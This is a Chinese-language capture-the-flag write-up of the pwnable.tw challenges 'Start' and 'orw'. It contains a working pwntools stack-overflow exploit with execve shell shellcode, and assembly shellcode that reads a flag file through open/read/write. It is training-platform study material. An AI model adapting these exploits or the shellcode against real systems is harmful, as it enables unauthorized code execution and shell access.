开始刷pwnable.tw这个高质量平台的题目了,做一下记录
0x1.Start
检查保护
什么保护都没有
载入IDA看看
程序很简短,一个start一个exit
分析汇编代码,程序首先将exit函数压入栈中,然后压入0x14字节大小的字符串,调用write打印0x14长度的字符串,随后调用read读入0x3c大小的数据,于是这里就存在栈溢出。
由于程序是汇编写的,不能通过ROP来获取shell,加上程序没开nx保护,我们使用shellcode来获取shell。构造出如下的栈空间:
首先我们来泄露栈地址,需要利用程序中的write系统调用,我们将返回地址覆盖为0x08048087
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch ; '<'
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
这样就会打印出esp的值,于ret_addr+4相差0x14,等到下一次输入的时候我们将返回地址覆盖为stack+0x14,再将ret_addr+4覆盖为shellcode,完整exp如下
from pwn import *
context.binary = './start'
io=process('./start')
#io = remote('chall.pwnable.tw', 10000)
gadget = 0x8048087
payload = 'A'*0x14
payload += p32(gadget)
io.recv()
#gdb.attach(io)
io.send(payload)
stack = u32(io.recv(4))
log.success('stack => {}'.format(hex(stack)))
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
payload = 'A'*0x14+p32(stack+20)+shellcode
io.send(payload)
io.interactive()
0x2.orw
检查保护
IDA分析
程序有一个沙箱函数,检测一下
限制我们使用open、read、write函数
继续看程序,直接让我们输入shellcode,然后执行shellcode
所以程序就是让我们写一个orw的shellcode
没啥好说的,直接上exp
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
context.binary='./orw'
io = process('orw')
#io = remote('chall.pwnable.tw', 10001)
shellcode = '''
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov eax,0x5
mov ebx,esp
xor ecx,ecx
int 0x80
mov ebx,eax
mov ecx,esp
mov edx,0x30
mov eax,0x3
int 0x80
mov ebx,1
mov eax,0x4
int 0x80
'''
shellcode = asm(shellcode)
io.recvuntil(':')
io.send(shellcode)
io.interactive()
0x3.calc
这题实现了一个计算器的功能,然而我搞不定,只能看大佬的wp